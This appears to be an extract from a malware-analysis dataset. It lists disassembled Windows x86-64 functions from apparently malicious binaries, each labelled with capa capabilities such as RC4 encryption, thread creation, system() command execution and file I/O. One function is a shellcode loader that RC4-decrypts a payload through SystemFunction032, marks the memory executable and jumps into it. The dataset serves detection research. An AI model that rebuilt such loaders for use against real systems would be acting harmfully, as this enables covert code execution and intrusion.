joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001becc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebp, dword [rcx + 0x44]
mov rdi, rcx
mov edx, dword [rdi + 0x94]
mov ebx, dword [rdi + 0x58]
mov eax, dword [rdi + 0x44]
sub ebx, dword [rdi + 0x9c]
lea ecx, [rbp + rax - 0x106]
sub ebx, edx
cmp edx, ecx
jb 0x14001bf84
mov rcx, qword [rdi + 0x50]
mov r8, rbp
lea rdx, [rcx + rbp]
call sub.msvcrt.dll_memcpy
mov r9d, dword [rdi + 0x74]
mov rax, qword [rdi + 0x68]
sub dword [rdi + 0x98], ebp
sub dword [rdi + 0x94], ebp
sub dword [rdi + 0x84], ebp
lea r8, [rax + r9*2]
sub r8, 2
xor eax, eax
movzx edx, word [r8]
movzx ecx, dx
sub cx, bp
cmp edx, ebp
cmovae ax, cx
add r9d, 0xffffffff
mov word [r8], ax
jne 0x14001bf37
mov rax, qword [rdi + 0x60]
mov r9d, ebp
lea r8, [rax + rbp*2]
sub r8, 2
xor eax, eax
movzx edx, word [r8]
movzx ecx, dx
sub cx, bp
cmp edx, ebp
cmovae ax, cx
add r9d, 0xffffffff
mov word [r8], ax
jne 0x14001bf62
add ebx, ebp
mov rsi, qword [rdi]
cmp dword [rsi + 8], 0
je 0x14001c05e
mov eax, dword [rdi + 0x94]
mov r13d, dword [rdi + 0x9c]
add r13, rax
mov eax, dword [rsi + 8]
add r13, qword [rdi + 0x50]
cmp eax, ebx
mov r12d, eax
cmova r12d, ebx
test r12d, r12d
je 0x14001c006
sub eax, r12d
mov dword [rsi + 8], eax
mov rax, qword [rsi + 0x28]
mov ecx, dword [rax + 0x2c]
cmp ecx, 1
jne 0x14001bfd8
mov rdx, qword [rsi]
mov ecx, dword [rsi + 0x4c]
mov r8d, r12d
call fcn.14001d458
jmp 0x14001bfeb
cmp ecx, 2
jne 0x14001bfee
mov rdx, qword [rsi]
mov ecx, dword [rsi + 0x4c]
mov r8d, r12d
call fcn.14001a10c
mov dword [rsi + 0x4c], eax
mov rdx, qword [rsi]
mov r8d, r12d
mov rcx, r13
mov ebx, r12d
call sub.msvcrt.dll_memcpy
add qword [rsi], rbx
add dword [rsi + 0xc], r12d
add dword [rdi + 0x9c], r12d
mov r9d, dword [rdi + 0x9c]
cmp r9d, 3
jb 0x14001c048
mov eax, dword [rdi + 0x94]
mov rdx, qword [rdi + 0x50]
mov ecx, dword [rdi + 0x80]
movzx r8d, byte [rax + rdx]
add eax, 1
mov dword [rdi + 0x70], r8d
movzx eax, byte [rax + rdx]
shl r8d, cl
xor r8d, eax
and r8d, dword [rdi + 0x7c]
mov dword [rdi + 0x70], r8d
cmp r9d, 0x106
jae 0x14001c05e
mov rax, qword [rdi]
cmp dword [rax + 8], 0
jne 0x14001beea
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140006c48
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x28
lea rcx, [0x1400091a5]
call sub.msvcrt.dll_getenv
jmp 0x140006daa
lea rcx, [0x1400091a9]
lea rdx, [0x1400091a1]
mov r8, rax
mov rax, qword [0x140009cc8]
call rax
mov rsi, rax
lea rdi, [0x1400091a9]
lea r12, [0x140006ed1]
push r12
push rbp
mov rbp, rsp
sub rsp, 0x60
test r8, r8
je 0x140006dfe
mov eax, ecx
cmp r8, qword [0x140008007]
jo 0x140006dfe
sub ecx, ecx
add edx, dword [rbp - 2]
cmp edx, ecx
jno 0x140006df8
mov qword [rbp - 0x2e], r10
mov ecx, ecx
mov rdx, qword [rbp - 0x2f]
mov r10, qword [rbp - 0x25]
cmp r8, r8
jmp 0x140006e26
push rcx
movzx ecx, dl
movzx edx, ch
mov qword [rbp - 0x21], rcx
mov ecx, ecx
xor eax, dword [rbp - 0x14]
add ecx, 0xf8a5
sub rdx, qword [0x140008004]
mov qword [rbp - 0x2b], r9
xor r10, 0x97c9
sub qword [rbp - 0x55], r9
lea eax, [0x140008005]
cmp dh, byte [0x14000800c]
je 0x140006ebf
mov qword [str.e_____], rcx
mov eax, dword [rbp - 1]
mov qword [rbp - 0x25], rdx
mov ecx, dword [rbp - 4]
lea r10, [rbp - 0x31]
mov byte [rbp - 0x3d], al
or eax, dword [rbp - 0x3e]
mov qword [0x140008004], r10
mov ecx, dword [rbp - 0xc]
mov edx, 0xd265
mov qword [rbp - 0x46], rdx
lea rax, [rbp - 0x21]
mov edx, dword [rbp - 0x30]
xor edx, dword [rbp - 0x56]
mov eax, 0x7282
mov ecx, dword [rbp - 0x5b]
xor rdx, qword [rbp - 0x5c]
sub eax, dword [rbp - 6]
mov dword [rbp - 0x3e], edx
xor eax, 0x5f41
add dword [rbp - 0x4e], eax
mov word [rbp - 0x4c], cx
mov rcx, r10
mov ecx, dword [0x14000800b]
mov ecx, edx
mov ecx, dword [rbp - 0x50]
pop r8
leave
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encrypt data using rc4 via systemfunction032
Execute shellcode via indirect call

Disassembly:
push rdi
sub rsp, 0xa0
mov edx, dword [0x14004a8ac]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x14000113e
mov r8d, dword [0x14004a8ac]
lea rdx, str.sMe_b
mov rcx, rax
mov qword [rsp + 0xb0], rbx
call fcn.140001be0
mov ecx, dword [0x14004a8ac]
lea rax, [rsp + 0x50]
movups xmm0, xmmword [str.mD7P7q2GVp1vDjtiYXXcsK6wB93Cc9dUD3bjVwNKNuiDAvgMhVOSnQuUiGZXwBMQ]
mov dword [rsp + 0x38], ecx
movups xmm1, xmmword [0x140019010]
mov dword [rsp + 0x3c], ecx
lea rcx, str.cryptsp.dll
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140019020]
mov byte [rsp + 0x90], 0
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [0x140019030]
mov qword [rsp + 0x40], rdi
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x2c], 0x40
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x38]
call rax
mov ebx, dword [0x14004a8ac]
lea rcx, str.sMe_b
mov r8d, ebx
xor edx, edx
call fcn.140002290
lea r9, [rsp + 0x20]
mov dword [rsp + 0x20], 0
mov r8d, 0x10
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, qword [rsp + 0xb0]
test eax, eax
je 0x14000113e
call rdi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
add rsp, 0xa0
pop rdi
ret
mov eax, 0xffffffff
add rsp, 0xa0
pop rdi
ret

Function at 0x1400018c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000190a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000190a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000190a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000190a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000190a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000190c
xor al, al
add rsp, 0x28
ret

Function at 0x1400059b0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400057ac
Function at 0x140058ae0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rbx, rdx
mov qword [rsp + 0x58], rdx
xor edi, edi
mov rax, qword [0x1402e3638]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x38]
call fcn.140062060
nop
mov ecx, Ordinal_41
call fcn.140171d10
mov rcx, qword [rsp + 0x30]
mov qword [rax], rcx
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rax + 8], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rax + 0x18], xmm1
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x38], dil
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], edi
mov r9, rax
lea r8, [0x140075560]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x140058bf0
lea rcx, [rsp + 0x38]
call fcn.140063ba0
cmp dword [rsp + 0x68], edi
je 0x140058be4
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140058be4
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov rcx, rbx
call fcn.140063ba0
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rdi
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], edi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14005e020
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], edx
mov ecx, reloc.WS2_32.dll_recv
call fcn.140171d10
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rax], xmm0
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400755a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14005e0c2
cmp dword [rsp + 0x48], 0
je 0x14005e0b6
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005e0b6
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140171bd0
add rsp, 0x68
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x48], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140077dd0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007bf30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x140077e4c
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140077e60
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007bf60]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x140077edc
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x140077ef0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007bf90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x140077f6c
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140077f80
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007bfc0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x140077ffc
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140078010
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007bff0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x14007808c
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x1400780a0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007c020]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x14007811c
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140078130
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rdx
mov rdi, rcx
mov ecx, 8
call fcn.140171d10
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14007c050]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x1400781ac
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x14008f1b0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rax, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
xorps xmm0, xmm0
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], 7
mov word [rcx], bp
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x30], rbp
lea r9, [rsp + 0x30]
xor r8d, r8d
mov edx, 0x8000
mov rcx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x14008f268
mov r9, qword [rsp + 0x30]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [r9 + rdx*2], 0
jne 0x14008f224
mov rax, qword [rdi + 0x18]
cmp rdx, rax
ja 0x14008f260
mov rsi, rdi
cmp rax, 7
jbe 0x14008f244
mov rsi, qword [rdi]
mov qword [rdi + 0x10], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi], bp
jmp 0x14008f268
mov rcx, rdi
call fcn.140067cd0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140171bd0
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbp
ret

Function at 0x14008f550
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rbx, rdx
mov qword [rsp + 0x80], rdx
lea rax, str.explorer_
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], listen
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x14008f598
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rsp + 0x70], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], 1
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140066280
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0xf
cmova rcx, qword [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x48]
call fcn.140063ba0
nop
mov rcx, rbx
call fcn.140063ba0
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140171bd0
add rsp, 0x90
pop rbx
ret
Function at 0x140090960
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov r15, rdx
mov rbx, rcx
je 0x140090a01
mov rdi, r8
test r8, r8
jle 0x1400909f9
lea rsi, [rcx + 0x58]
mov rax, qword [rbx + 0x40]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400909d3
mov rax, qword [rsi]
movsxd rdx, dword [rax]
test edx, edx
jle 0x1400909d3
cmp rdi, rdx
mov rbp, rdi
cmovge rbp, rdx
mov rdx, r15
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x40]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400909f1
mov rax, qword [rbx]
mov rcx, rbx
movzx edx, byte [r15]
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x1400909f9
dec rdi
lea rsi, [rbx + 0x58]
mov ebp, 1
add r15, rbp
test rdi, rdi
jg 0x140090994
sub r14, rdi
mov rax, r14
jmp 0x140090a79
mov rax, qword [rcx + 0x40]
mov rsi, r14
mov r9, qword [rax]
test r9, r9
je 0x140090a18
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140090a1a
xor ecx, ecx
movsxd rdi, ecx
test r14, r14
jle 0x140090a73
test ecx, ecx
jle 0x140090a53
cmp r14, rdi
mov rcx, r9
cmovl rdi, r14
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbx + 0x58]
add r15, rdi
sub r14, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x40]
movsxd rax, edi
add qword [rcx], rax
test r14, r14
jle 0x140090a73
mov r9, qword [rbx + 0x80]
test r9, r9
je 0x140090a73
mov r8, r14
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub r14, rax
sub rsi, r14
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140090aa0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x140090ac4
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x140090b52
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x140090b20
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x140090b20
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x140090b3d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x140090b45
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x140090ae1
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x140090c32
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x140090b69
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140090b6b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140090b9d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140090c2f
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140090bd8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x140090c0f
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x140090c2f
cmp rsi, rax
ja 0x140090be1
test rsi, rsi
je 0x140090c2f
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
Function at 0x140091060
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x90
mov rax, qword [0x1402e1040]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x140091090
xor eax, eax
jmp 0x140091222
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400910ca
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400910ca
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140091222
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xb0], rsi
je 0x140091215
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14009110d
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140091148
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov edx, 1
mov byte [rsp + 0x58], dil
mov r8d, edx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 1
mov ecx, 0xffffffff
cmove ecx, edi
mov eax, ecx
jmp 0x14009121a
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x80]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x60]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + gethostname]
test eax, eax
je 0x1400911cd
sub eax, 1
je 0x1400911cd
cmp eax, 2
jne 0x140091215
movzx eax, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, edx
mov byte [rsp + 0x58], al
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rax, 1
mov ecx, 0xffffffff
cmove ecx, edi
mov eax, ecx
jmp 0x14009121a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x60]
sub rsi, rax
je 0x1400911fb
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x60]
mov r8, rsi
mov edx, 1
